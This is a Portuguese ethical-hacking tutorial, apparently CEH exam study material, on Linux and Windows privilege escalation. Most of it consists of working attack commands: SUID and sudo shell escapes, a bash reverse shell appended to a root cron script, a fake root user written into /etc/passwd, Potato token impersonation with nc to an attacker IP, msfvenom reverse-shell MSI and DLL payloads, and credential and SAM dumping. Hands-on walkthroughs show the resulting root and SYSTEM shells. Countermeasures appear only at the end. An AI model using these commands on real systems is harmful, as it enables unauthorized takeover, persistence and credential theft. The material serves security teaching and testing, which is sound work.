Privilege Escalation: Como Escalar de Usuário Comum a…

Privilege Escalation: Como Escalar de Usuário Comum a Root/Admin

No ciclo de hacking ético — reconnaissance, scanning, gaining access, maintaining access, covering tracks — a privilege escalation é a ponte entre conseguir um acesso inicial limitado e realmente dominar o sistema. Você conseguiu uma shell como johndoe. E daí? Precisa de root no Linux ou SYSTEM no Windows para extrair credenciais, instalar backdoors, pivotar para outros hosts e completar o objetivo.

Este artigo cobre as técnicas de escalação de privilégios mais relevantes no CEH v13, com comandos práticos para Linux e Windows, ferramentas essenciais e contra-medidas.

O Que É Privilege Escalation

Privilege escalation é o processo de obter privilégios maiores do que os originalmente concedidos a uma conta ou processo. Divide-se em duas categorias:

• Vertical: escalar de um usuário comum para root (Linux) ou SYSTEM/Administrador (Windows). Ex: johndoe → root.
• Horizontal: mover-se de um usuário para outro usuário no mesmo nível de privilégio. Ex: johndoe → alice, que pode ter acesso a dados diferentes. Útil quando outro usuário tem Sudo ou credenciais de serviço mais valiosas.

No contexto do pivot, a escalação vertical é crítica: depois de comprometer uma máquina na rede, você escala privilégios localmente e usa essa posição para mover-se lateralmente para outros hosts.

Linux Privilege Escalation

O Linux oferece dezenas de vetores de escalação. Aqui estão os mais explorados em testes de intrusão.

SUID/SGID Binaries

Binários com o bit SUID (Set-owner User ID) executam com os privilégios do dono do arquivo, não de quem os invoca. Se um binário pertence a root e tem SUID, qualquer usuário que o execute ganha poder de root durante a execução.

Para encontrar SUID binaries:

# Encontrar todos os SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Encontrar todos os SGID binaries
find / -perm -g=s -type f 2>/dev/null

# Comando mais detalhado
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

Binários comuns exploráveis (consulte GTFOBins para a lista completa):

Binary	Vetor	Comando de Escalação
find	Executa comandos	find . -exec /bin/sh -p \;
vim	:sh	vim -c ':!/bin/sh'
less	!cmd	less /etc/passwd → !/bin/sh
more	!cmd	more /etc/passwd → !/bin/sh
cp	Sobrescreve /etc/passwd	cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
mv	Sobrescreve arquivos	Mover binário SUID malicioso para local privilegiado
python	os.setuid()	python3 -c 'import os; os.execl("/bin/bash","bash","-p")'
perl	exec	perl -e 'exec "/bin/bash";'
bash	SUID shell	bash -p
tar	Checkpoint exec	tar cf /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
awk	system()	awk 'BEGIN {system("/bin/bash")}'
nmap	–interactive	nmap --interactive → !sh (versões antigas)

Sudo Misconfigurations

O comando sudo permite que usuários executem comandos como outro usuário (geralmente root). Misconfigurações são um dos vetores mais comuns.

# Verificar o que o usuário pode executar com sudo
sudo -l

# Caso clássico: sudo su sem senha
sudo su -
sudo -i

# NOPASSWD em binário vulnerável
sudo -l
# (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'

# Wildcards — perigo!
sudo -l
# (root) NOPASSWD: /usr/bin/find /tmp/*
sudo find /tmp/x -exec /bin/bash \;

# Especial: sudo less/awk/etc com NOPASSWD
sudo less /etc/shadow
# Dentro do less: !/bin/bash

# RVIRUS trick: sudo com variáveis de ambiente
sudo -l
# env_keep+=LD_PRELOAD
# Crie uma shared library maliciosa e pré-carregue-a

Cron Jobs com Permissões de Escrita

Tarefas agendadas via cron executam com os privilégios do dono. Se você consegue escrever em um script executado por cron do root, escalação garantida.

# Listar crons do sistema
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /var/spool/cron/

# Verificar permissões
find /etc/cron* -type f -perm -o+w 2>/dev/null
find /var/spool/cron -type f -perm -o+w 2>/dev/null

# Verificar scripts executados por cron root com escrita world-writable
ls -la /usr/local/bin/cleanup.sh  # se 777 e rodado por root cron
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /usr/local/bin/cleanup.sh

# Cron com wildcard
# Se o cron contém algo como: * * * * * root tar czf /tmp/backup.tar.gz *
# Crie um arquivo que o tar interprete como opção:
touch /tmp/--checkpoint=1
touch /tmp/"--checkpoint-action=exec=sh shell.sh"
echo 'bash -p' > shell.sh
chmod +x shell.sh

Kernel Exploits

Exploits de kernel são o caminho mais direto quando o sistema não está atualizado. Riscos: podem causar kernel panic. Sempre teste em ambiente controlado primeiro.

# Identificar versão do kernel
uname -a
cat /proc/version
hostnamectl

# Dirty COW (CVE-2016-5195) — Linux < 4.8.3
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

# Dirty Pipe (CVE-2022-0847) — Linux 5.8 < 5.16.11
gcc -o exp dirty-pipe.c
./exp /etc/passwd 1

# Pesquisar exploits
searchsploit linux kernel 5.4
# Ou usar Linux Exploit Suggester (ver ferramentas abaixo)

Linux Capabilities

Capabilities subdividem privilégios de root em granularidades finas. Se um binário tem cap_setuid ou cap_dac_override, pode ser explorado.

# Listar capabilities de todos os binários
getcap -r / 2>/dev/null

# Binário com cap_setuid — escalação direta
getcap /usr/bin/python3.8
# /usr/bin/python3.8 = cap_setuid+ep

python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_dac_override — bypass de permissões de arquivo
# Permite ler/escrever qualquer arquivo, independentemente de permissões

PATH Hijacking

Se o PATH contém um diretório gravável e um script não usa caminhos absolutos, é possível injetar um binário malicioso.

# Verificar o PATH
echo $PATH

# Verificar se "." está no PATH (extremamente perigoso)
echo $PATH | grep ":.:" 
# ou
echo $PATH | grep "::"

# Criar binário malicioso
echo '/bin/bash -p' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
# Quando o script rodar "ls", executa nosso binário

# Versão com symlink
cd /home/user
ln -s /bin/bash .su
echo $PATH  # se /home/user está antes de /usr/bin
# sudo su pode resolver .su se o sudo não preserva PATH corretamente

NFS no_root_squash

Quando um export NFS tem no_root_squash, o root local no cliente é mapeado como root no servidor.

# Verificar exports NFS
cat /etc/exports
showmount -e 192.168.1.100

# Montar o share
mkdir /tmp/nfs
mount -t nfs 192.168.1.100:/exported /tmp/nfs

# Criar SUID binary no mount
cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash

# No servidor NFS (como root)
/tmp/nfs/bash -p  # root shell!

/etc/passwd e /etc/shadow Graváveis

# Verificar permissões
ls -la /etc/passwd /etc/shadow

# Se /etc/passwd é gravável:
# Gerar hash de senha (openssl ou hashcat)
openssl passwd -1 -salt hacker senha123
# $1$hacker$...

# Adicionar novo usuário root
echo 'hacker:$1$hacker$WfZo2uY6T9kQKxvO3n1Fk0:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker

# Se /etc/shadow é gravável:
# Mesmo processo, mas substitua o hash do root

Ferramentas de Enumeração Linux

Ferramenta	Descrição	Uso
LinPEAS	O mais completo. Enumera tudo.	curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinEnum	Script de enumeração clássico	wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh; chmod +x LinEnum.sh; ./LinEnum.sh
Linux Exploit Suggester	Sugere exploits baseados no kernel	./linux-exploit-suggester.sh
GTFOBins	Referência online — não é instalável	gtfobins.github.io — filtre por SUID/Sudo
pspy	Monitora processos sem necessidade de root	./pspy64 — detecta crons e processos em execução

Windows Privilege Escalation

Windows tem seu próprio ecossistema de técnicas. Muitas exploram a arquitetura de tokens, serviços e o registro do Windows.

Token Impersonation (Família Potato)

A técnica "Potato" explora o mecanismo de negociação de autenticação NTLM. Um processo com privilégio SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege pode impersonar um token de um processo de maior privilégio.

# Verificar privilégios
whoami /priv

# Se SeImpersonatePrivilege está habilitado:

# PrintSpoofer (Windows 10/Server 2019+)
PrintSpoofer.exe -i -c "cmd /c whoami"
PrintSpoofer.exe -i -c "cmd /c C:\temp\nc.exe 10.10.10.10 4444 -e cmd"

# JuicyPotato (Windows Server 2008/2012 — CLSID depende da versão)
JuicyPotato.exe -l 1337 -p c:\temp\rev.exe -t *

# RoguePotato (Windows 10 v1803-v1809)
RoguePotato.exe -r 10.10.10.10 -l 9999 -e "c:\temp\rev.exe"

# GodPotato (moderno, funciona em várias versões)
GodPotato.exe -cmd "cmd /c whoami"

Unquoted Service Paths

Se o caminho de um serviço não está entre aspas e contém espaços, o Windows procura executáveis em cada segmento. Se você pode escrever em um desses segmentos, escalação.

# Listar serviços com caminhos sem aspas
wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v "c:\windows\\"

# Verificar permissões do diretório
icacls "C:\Program Files\Vulnerable Service\"

# Se Everyone tem (M) ou (F):
# Crie um executable malicioso
echo "Your payload here" > "C:\Program.exe"
# Reinicie o serviço
sc stop vulnerableservice
sc start vulnerableservice

AlwaysInstallElevated

Se as chaves de registro AlwaysInstallElevated estão habilitadas, qualquer usuário pode instalar MSI packages como SYSTEM.

# Verificar se está habilitado
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Se ambos retornam 1:
# Crie um MSI malicioso (msfvenom ou custom)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi

# Instale como SYSTEM
msiexec /quiet /qn /i C:\temp\evil.msi

DLL Hijacking

Quando um aplicativo carrega uma DLL de um diretório onde o atacante pode escrever, é possível injetar código.

# Identificar DLLs ausentes com Process Monitor (Sysinternals)
# Filtre por "Name Not Found" no caminho do processo alvo

# DLLs comuns para hijacking:
# - dwm.dll, version.dll, propsys.dll, HIMEM.SYS

# Crie a DLL maliciosa (x64):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll -o hijack.dll

# Coloque no diretório correto
copy hijack.dll "C:\Program Files\TargetApp\"

# Dispare o aplicativo
# O aplicativo carrega sua DLL como SYSTEM (se o app roda como SYSTEM)

Registry Keys — Auto-Start

# Verificar chaves de auto-start
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Verificar permissões
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s

# Se você pode modificar e o valor é executado como SYSTEM:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\temp\rev.exe"

# Services registry
reg query HKLM\SYSTEM\CurrentControlSet\Services /s | findstr ImagePath

Credenciais Armazenadas

# Credenciais salvas no Windows Credential Manager
cmdkey /list
runas /savecred /user:admin cmd.exe

# Senhas Wi-Fi salvas
netsh wlan show profile
netsh wlan show profile "NetworkName" key=clear

# SAM database (requer SYSTEM)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Use impacket-secretsdump ou samdump2 para extrair hashes

# Arquivos de configuração com senhas em claro
findstr /si password C:\inetpub\*.config
findstr /si password C:\*.ini C:\*.txt C:\*.xml

# Browser saved passwords
# Use SharpChrome ou mimikatz

Service Misconfigurations

 Verificar serviços com permissões fracas
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

# Modificar binpath de um serviço
sc config vulnerableservice binPath= "C:\temp\rev.exe"
sc stop vulnerableservice
sc start vulnerableservice

# Verificar serviços com binPath modificado
sc qc vulnerableservice
wmic service get name,pathname,startmode

Ferramentas de Enumeração Windows

Ferramenta	Descrição	Uso
WinPEAS	Equivalente ao LinPEAS para Windows	.\winPEASx64.exe quiet cmd fast
PowerUp.ps1	PowerShell — verifica misconfigurações de serviço	Invoke-AllChecks
SharpUp	Versão C# do PowerUp (sem PS)	SharpUp.exe audit
Seatbelt	Enumeração elegante em C#	Seatbelt.exe -group all
Watson	Identifica exploits de privilégio local	Watson.exe
BeRoot	Verifica misconfigurações comuns	python beroot.py

Metasploit: Exploits Locais

O Metasploit possui centenas de exploits locais para Linux e Windows. Úteis quando você já tem uma sessão e quer escalação automatizada.

# Linux local exploits
msf> use exploit/linux/local/cve_2021_4034_pwnkit
msf> set SESSION 1
msf> set LHOST 10.10.10.10
msf> run

# Linux Dirty Pipe
msf> use exploit/linux/local/dirty_pipe
msf> set SESSION 1
msf> run

# Windows local exploits
msf> use exploit/windows/local/ms16_075_reflection_juicy
msf> set SESSION 1
msf> run

# Token impersonation com Incognito (Metasploit)
msf> use post/windows/manage/incognito
msf> set SESSION 1
msf> run

# Listar tokens disponíveis
msf> incognito -h
msf> list_tokens -u
msf> impersonate_token "NT AUTHORITY\SYSTEM"

# Upload e executar exploit local via sessão
msf> sessions -i 1
meterpreter> upload /tmp/exploit.exe C:\\temp\\
meterpreter> execute -f exploit.exe -H

O módulo local_exploit_suggester do Metasploit verifica automaticamente qual exploit local funciona contra o alvo:

msf> use post/multi/recon/local_exploit_suggester
msf> set SESSION 1
msf> run

Hands-On: Escalação de Privilégios Linux

Passo 1: Enumeração Inicial

$ whoami
user

$ id
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)

$ uname -a
Linux target 5.4.0-91-generic #102-Ubuntu SMP x86_64 GNU/Linux

$ cat /etc/os-release
PRETTY_NAME="Ubuntu 20.04.3 LTS"

$ sudo -l
[sudo] password for user:
Sorry, user user may not run sudo on target.

Passo 2: Transferir e Executar LinPEAS

 No atacante — iniciar servidor
$ python3 -m http.server 80

# No alvo
$ cd /tmp
$ wget http://10.10.10.10/linpeas.sh
$ chmod +x linpeas.sh
$ ./linpeas.sh 2>&1 | tee linpeas_output.txt

Passo 3: Analisar Resultados

LinPEAS identifica em amarelo/vermelho:

[+] SUID binaries:
-rwsr-xr-x 1 root root 31.7K Oct 15 2021 /usr/bin/find

[+] Writable cron jobs:
-rw-rw-rw- 1 root root 215 Jan 10 08:00 /etc/cron.d/cleanup

[+] Capabilities:
/usr/bin/python3.8 = cap_setuid+ep

Passo 4: Escalar via Capability

$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# whoami
root

# id
uid=0(root) gid=1000(user) groups=1000(user),27(sudo)

# cat /root/root.txt
FLAG{privilege_escalation_success}

Alternativa: Via SUID find

$ find . -exec /bin/bash -p \;

# whoami
root

Alternativa: Via Cron Gravável

 O que está no cron?
$ cat /etc/cron.d/cleanup
* * * * * root /usr/local/bin/cleanup.sh

# O script é gravável por todos?
$ ls -la /usr/local/bin/cleanup.sh
-rwxrwxrwx 1 root root 215 Jan 10 08:00 /usr/local/bin/cleanup.sh

# Adicionar shell reversa
$ echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /usr/local/bin/cleanup.sh

# No atacante:
$ nc -lvnp 4444
# Aguarde até 1 minuto — conexão root recebida

Hands-On: Escalação de Privilégios Windows

Passo 1: Enumeração

C:\> whoami
iis apppool\web

C:\> whoami /priv
SeAssignPrimaryTokenPrivilege
SeImpersonatePrivilege

C:\> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763

C:\> net user
Administrator  Guest  web

Passo 2: WinPEAS

# Transferir WinPEAS
certutil -urlcache -f http://10.10.10.10/winPEASx64.exe C:\temp\peas.exe

C:\temp\> peas.exe quiet cmd fast

# Resultados relevantes:
[*] Checking SeImpersonatePrivilege... POTENTIALLY VULNERABLE!
[*] PrintSpoofer might work
[*] Unquoted Service Path: C:\Program Files\Vulnerable Service\service.exe
[*] AlwaysInstallElevated is enabled!

Passo 3: Escalar via PrintSpoofer

 Transferir PrintSpoofer
certutil -urlcache -f http://10.10.10.10/PrintSpoofer.exe C:\temp\ps.exe

C:\temp\> ps.exe -i -c "cmd /c whoami"
nt authority\system

# Shell interativa
C:\temp\> ps.exe -i -c "cmd.exe"
# Nova shell como SYSTEM
C:\> whoami
nt authority\system

Alternativa: Via AlwaysInstallElevated

 Gerar MSI payload no Metasploit
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi

# No alvo:
certutil -urlcache -f http://10.10.10.10/evil.msi C:\temp\evil.msi
msiexec /quiet /qn /i C:\temp\evil.msi

# Conexão meterpreter como SYSTEM recebida

Comparativo Rápido: Linux vs Windows

Técnica	Linux	Windows
Binário privilegiado	SUID/SGID	Unquoted Service Paths, AlwaysInstallElevated
Impersonation	N/A (conceito diferente)	Token Impersonation (Potato family)
Agendamento	Cron jobs graváveis	Scheduled Tasks
Kernel	Dirty COW, Dirty Pipe	Watson sugere CVEs locais
Capacidades especiais	Capabilities, capabilities	SeImpersonatePrivilege, SeDebugPrivilege
Injeção de código	PATH hijacking, LD_PRELOAD	DLL Hijacking
Credenciais	/etc/shadow gravável	SAM, Credential Manager, cmdkey
Auto-start	systemd services, init.d	Registry Run keys, Services
Ferramenta principal	LinPEAS + GTFOBins	WinPEAS + PowerUp

Contra-Medidas

Linux

• Princípio do menor privilégio: configure SUID, sudo e capabilities apenas quando estritamente necessário. Revogue o que não é usado.
• Monitoramento de SUID: audite regularmente com find / -perm -4000. Compare com baseline conhecido. Use ferramentas como AIDE ou Tripwire para detectar mudanças.
• Sudo logs: configure /etc/sudoers com logfile e syslog. Use sudo -l com output restrito em produção.
• Kernel patching: mantenha o kernel atualizado. Subscribe a security advisories da distribuição.
• AppArmor/SELinux: confine processos. Mesmo com SUID, o MAC (Mandatory Access Control) pode bloquear ações.
• Permissões de cron: nunca use 777 em scripts de cron. Valide ownership e permissões.
• PATH seguro: nunca inclua . ou diretórios graváveis no PATH de root.

Windows

• Credential Guard: isola credenciais no LSA em um ambiente protegido (VBS). Impede Mimikatz e ferramentas de dump de memória.
• LAPS (Local Administrator Password Solution): gerencia senhas de administrador local com rotação automática. Elimina senhas compartilhadas.
• Service hardening: configure serviços com SERVICE_CONFIG_FAILURE_ACTIONS restrito. Use sc sdset para restringir permissões SDDL.
• Registry ACLs: proteja HKLM\Run, HKLM\Services com permissões restritas.
• AppLocker/WDAC: restrinja quais executáveis podem rodar. Previne DLL hijacking e execução de payloads.
• File Integrity Monitoring: monitore mudanças em binários do sistema, serviços e chaves de registro críticas.
• Patch management: aplique patches de segurança mensais da Microsoft sem atraso.

Conclusão

Privilege escalation é a arte de transformar um acesso limitado em controle total. No Linux, SUID binaries, sudo misconfigurations e kernel exploits são os campeões. No Windows, token impersonation, serviços mal configurados e AlwaysInstallElevated dominam. A chave em ambos os ambientes é a mesma: enumeração exaustiva. Nenhuma escalação funciona sem primeiro entender o que está errado no sistema.

Como white hat, use essas técnicas em ambientes controlados e com autorização. Cada finding de escalação documentado é uma vulnerabilidade real que um atacante poderia explorar — e que você ajudou a corrigir.